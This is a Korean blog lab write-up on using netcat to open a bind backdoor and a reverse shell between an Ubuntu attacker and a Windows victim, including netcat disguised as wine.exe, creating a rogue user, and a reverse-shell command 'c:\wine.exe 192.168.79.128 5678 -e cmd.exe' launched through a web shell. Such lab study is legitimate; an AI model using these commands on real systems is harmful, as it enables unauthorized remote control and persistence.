netcat이라는 도구를 이용해서 Attacker와 Victim이 연결되는 방식을 알아보고 실습해보았다.
Netcat
nc라고도 불리는 netcat은 TCP나 UDP를 사용하는 네트워크 연결에서 데이터를 읽고 쓰는 유틸리티이다.
명령어가 백엔드로 설계되어 다른 프로그램이나 스크립트에 의해 쉽게 구동될 수 있어 해킹에서도 많이 이용된다.
우리는 Netcat을 이용한 두가지 명령어로 백도어와 Reverse Shell을 실습해 볼 것이다.
nc -l -p [포트번호] -e [프로그램] // 대기
nc [ip주소] [포트] // 접속
-l : 다른 사용자가 접속할 때까지 listen 상태로 기다린다.
-p [포트번호] : 해당 포트번호를 열겠다.
-e [프로그램] : 바이너리의 권한을 제공한다는 것으로 후술된 프로그램을 제공한다.
또한 윈도우 서버를 Victim, 우분투는 Attacker로 이용하여 실습을 진행한다.
백도어
백도어는 Attacker가 Victim에 접속할 구멍을 내부에서 미리 열어두고 외부에서 접속하는 방법이다.
접속 후에는 Victim의 cmd를 통해 마음대로 조작할 수 있게 된다.
이때 Attacker는 클라이언트로 Victim 서버에 접속하게 된다.
실습
우선 윈도우서버에서 netcat 명령어를 이용해 백도어를 열어준다. 윈도우 서버에 설치된 netcat은 wine.exe로 위장하고 있어 wine으로 실행한다.
명령어 실행 후에는 아무 작동도 하지 않는 것처럼 보이나 listen 모드로 접속을 기다리고 있는 것이다.
다음으로 우분투 서버에서 이 백도어로 접속한다.
명령어 입력과 동시에 윈도우 서버의 cmd가 열리는 것을 확인할 수 있다.
우리는 이를 통해 여러가지 작업을 수행할 수 있으며 실습에서는 사용자를 생성해본다.
'net user [userid] [pw] /add' 명령어를 이용하여 사용자를 생성하였다.
윈도우 서버에 hacker라는 유저가 생성된 것을 확인하며 백도어가 정상 작동하는 것을 알 수 있다.
한계
이러한 백도어에는 치명적인 한계가 존재하는데 그것은 바로 방화벽이다.
방화벽이 존재하면 열려진 포트가 아닌 이상 접근이 어렵다.
그러나 방화벽은 내부에서 나가는 트래픽은 잘 막지 않는 특성이 있다.
Reverse Shell
방화벽의 특성을 이용해 백도어를 외부에서 접근하는 것이 아닌 Attacker가 서버가 되어 Victim에 심어둔 RAT가 Attacker로 접속하게 만든다.
RAT : Remote Access Trojan의 약자로 몰래 실행되어 원격으로 접속하는 도구를 말하며 실습에서는 netcat으로 역할을 수행한다.
이때 Attacker가 서버, Victim이 클라이언트가 된다.
실습 1
먼저 Attacker 역할의 우분투 서버에서 listen 모드로 Victim이 접속할 곳을 만들어주어야 한다.
명령어를 입력하면 아무것도 출력되지 않지만 Victim이 접속하게 된다면 변화가 있을 것이다.
Victim 역할의 윈도우 서버에서 Attacker에게 접속하면서 cmd 권한을 넘겨준다.
Victim이 접속 하자마자 Attacker에서는 윈도우의 cmd창을 사용할 수 있으며 명령어가 잘 동작하는 것을 확인할 수 있다. 백도어와 비슷해보이지만 연결 방향이 victim -> attacker 라는 것이 아주 중요한 차이점이다.
실습 2 - 웹쉘로 RAT 실행
Victim 서버의 터미널로 직접 입력하는 것은 관리자가 아니고서야 말이 안되는 방법이다.
우리는 좀 더 실전적인 방법으로 Victim 서버에 숨겨둔 웹쉘을 이용해 RAT를 작동시켜 공격자에게 접속하도록 한다.
공격자가 서버를 열어두는 것은 동일하다.
그러나 이번에는 victim 페이지의 웹쉘에 접속한다.
업로드된 웹쉘에는 victim 서버에 cmd 명령어를 입력할 수 있게 구성되어있다.
c:\wine.exe 192.168.79.128 5678 -e cmd.exe
아까 실습했던 명령어를 입력하고 공격자 우분투를 확인해본다.
victim의 윈도우 서버에 cmd를 사용할 수 있음을 확인하였다.
이로써 원격에서 어떻게 Victim 서버와 Attacker가 통신하는 지에 대해 알아보았다.
'보안 이론 > 웹 보안' 카테고리의 다른 글
(2021) OWASP TOP 10에 대해서 (0) | 2022.09.13 |
---|---|
Web Shell 업로드 우회 실습 (0) | 2022.09.13 |
Malzilla를 이용한 난독화 실습 (2) | 2022.09.07 |
간이 서버 이용 Web Shell 실습 (0) | 2022.09.06 |
HTTPS와 SSL/TLS (2) | 2022.09.05 |